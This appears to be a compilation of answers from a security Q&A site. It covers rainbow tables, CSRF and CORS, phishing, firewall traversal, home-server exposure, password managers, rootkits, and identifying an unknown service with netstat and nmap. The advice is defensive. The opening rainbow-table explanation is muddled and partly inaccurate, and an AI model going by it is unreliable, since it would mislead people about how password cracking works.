A rainbow table sufficient for alphanumerical passwords of up to 9 characters is 864 GB in size. A rainbow table for this level entropy will be the size for any hash (MD5, SHA-1, SHA-512, etc) as rainbow tables are actually hashes hashed down to the entropy of the passwords (say, 254). The uniformity distribution requirement of the cryptographic hash makes this possible, but hashes with much larger bit space than the password entropy will have some collisions when hashed down to lower entropy level. Hence the "success rate" column of the rainbow table.

As 900 GB is tolerable for a determined hacker and as people that use alphanumeric passwords less than 10 characters exist, websites will use random salting to foil a rainbow table plus often use a slow key derivation function like PBKDF2 or scrypt.

None of these truly stop matching of a hash to password in a (much slower "sparse" meta-mega) rainbow table if the attacker got their hands on the server's user table. Which is why not using the same password across multiple sites is important.


Don't invent your own cryptographic protocols. It's easy to come up with all kinds of ideas and combine all kinds of techniques, but doing this properly is exceptionally hard and requires a lot of experience and extensive peer reviews. This isn't something you can do on your own in a few minutes, especially if you don't happen to be a cryptographer.

What confirms this impression is that you jump straight to random implementation details before you've even analyzed the problem and specified the goal. How is the nested encryption feature relevant at this early stage? This all sounds rather chaotic and vague.

I strongly recommend that you first get clear about the bigger picture and then choose an established solution for this specific scenario.


You would need both:

Just #1 alone, without any CORS policy, would not allow the frontend to read the responses. And if you set a to generous CORS policy, it would allow  anyone included in it to CSRF you.
Just #2 alone would not offer CSRF protection. You do not need CORS permission to send normal non-preflighted requests, such as submitting an ordinary form. Attacks could still be mounted from any domain. CORS does not protect against CSRF because it's not designed to.

Together they work. The token ensures that only "non-forged" requests are allowed, and the CORS policy ensures that only the frontend can get it's hands on the token.

I should also mention that in situations like this, with an API serving a frontend, CSRF protection often comes "automatically" because a bearer token in the auth header (as opposed to a cookie) is used. So if that's your authentication scheme, you may already be protected. Implementing another layer of defence on that doesn't hurt, though.


What are these links that have been sent to me multiple times on facebook?

This is a textbook phishing attempt. A phishing attack consists of sending a user to a page that looks like the service they use in an attempt to get their login credentials or other sensitive information. Notice the domain name is not facebook.com. Normally they try to fake this or use domains that look like facebook.com such as faceb0ok.com or facebook.s0a.com. But you could do it with any domain. They likely chose this one to get around Facebook's URL filters.

If you have logged in here immediately log on to the real Facebook and change your login details and security questions. Additionally you likely got this link from someone that submitted their information. So should check and make sure your Facebook account didn't distribute these links as well.

Even worse, if your Facebook's username and password matches your email's. Change those immediately or they could gain access to much more than your Facebook.


How to remote access a server behind firewall?

There are several possible solutions. TeamViewer will work because its basicly whats called a "backconnect". This means that TeamViewer from the view of the firewall acts as a client, not as a server by initializing the connection instead of waiting for the incoming connection like a server does. This way TeamViewer bypasses statefull firewalls.

If you want to you can also use a port forwarding. This means that you configure your firewall to foreward all incoming traffic from external hosts on a specific port to another host on the LAN. This is called PAT (Port Address Translation) and is widely used. How this can be implemented relies on your router but almost every routers support this.
You can also expand this solution with portknocking which is a "security through obscurity" kind of approach. It means that a connection is only accepted after a defined packet has been received before from the same source.


What's the safest way to make home server available from outside the network?

In no way I would put the system directly as fully accessible into the DMZ of the router.

If you only need to make the server available for yourself while outside of your network then a (properly secured) VPN into your network might be the best option when taking both usability and security into account. The VPN makes sure that only you (with the proper credentials) can build the tunnel into your network. And from there you have easy access to the whole home network.

Another option would be to only expose SSH to the outside and transfer your files with SFTP or SCP (file transfer over SSH). This is more secure since only a single service on a single machine instead of the whole internal network is available from remote, i.e it offers a reduced attack surface. But at the same time it might cause worth usability since you cannot simply use the built-in file sharing  to access your files but would need an application like Putty or Filezilla (assuming you are using Windows on your mobile system) to transfer the files.

If the SSH based solution is acceptable to you in terms of usability it is probably the preferable and also the easiest to setup too.


Which passwords to exclude from a password manager?

The vast reduction in risk you enjoy simply by using a password manager (no password reuse, stronger passwords, phishing resistance, etc.) dramatically outweighs any minuscule additional risk of keeping your email password in the same vault. That is, assuming you protect the password vault with a strong password.

Additionally, those accounts are the ones I try to most protect, and a password manager makes it easier to do so. The password for my email account and banking accounts are the strongest I can make them, and I rotate them somewhat regularly. There's no way I could remember four or more 50+ character passwords that are rotated two to four times a year.


Can malware hide their network activity from Resource Monitor (perfmon)?

Yes.

A rootkit typically patches the kernel or other software libraries to alter the behavior of the operating system. Once this is happening, you cannot trust anything that the operating system tells you.

For example; a simple change to the dir program could hide the existence of malicious files from a user, but this is easily detectable by many anti-virus packages as the alteration of an executable is something that can be noticed. If however, the malware alters the mechanisms by which userland programs query the file system, by patching the kernel itself, any user-space program can be tricked into thinking that the executable has not been altered.

Once malware has started altering the behavior of the system calls/kernel api, it can hide any activity effectively, including network interactions.

All of this only applies if you are monitoring the infected machine locally. If you have firewall logs or some other remote method of monitoring the infected machine, this information can be trusted (the network connections still have to exist, but they can be hidden from the infected OS).


Determining What Is Running
Locally, Ask The Host
The most definitive way to determine what is communicating on port 3030 is to ssh into the server and run netstat.
netstat -nap | grep 3030

Will display connections and listening processes -n skips DNS resolution of IP addresses, -a shows the state of all sockets, and -p shows the PID of the process bound to that socket.
If you are using windows, check out this SO post.
Determining Remotely
If you can't get access to the server, there are other things you can try.
Run nmap against the port. nmap has pretty good service detection and if what is running on 3030 is a well known protocol, nmap will likely determine it.
nmap -sV host

You can find out more about nmap service detection in Chapter 7 of the nmap book.
What if nmap can't determine the service?
It may be that you are looking at a legitimate custom service for that application. Though you could also be looking at malware.
Determining the functionality of the service
If have permission to interact with the service, here are a few things you could try/notice:

It appears that each response is base64 encoded, and ends with a >. This to me suggests that it is a shell of some kind. Base64 decoding gives garbage, which suggests that this could be encrypted, although it could also be a custom base64 alphabet.
Enter various text. Does the same output get produced for the same input?
Is there a correlation between input length and output length?
Is output length always a multiple of some number? For example, in the four lines you showed in the question, the lines decoded to 48,48,16 and 16 bytes long. This could suggest a block cipher of some kind is being used.
Does the initial response to your connection change each time you make the connection? This could suggest the server is using a one time encryption key (or base64 encoding) for each connection. Thus, the first response likely contains the information necessary to interact with the service.
If you start to get common strings, start googling them. If you get a hit, you may get your answer.
Note, if custom encoding or encryption is being used, it is unlikely that your input will do anything, as the input will probably need to match the same encoding scheme.


You can see the issues in Target > Site map. Select a node in the left-hand tree and the related issues appear on the right.

Suggesting tools is a separate question. This site tends to close questions that ask for tools recommendations. To maximize your chances, phrase your question as "How do I...?"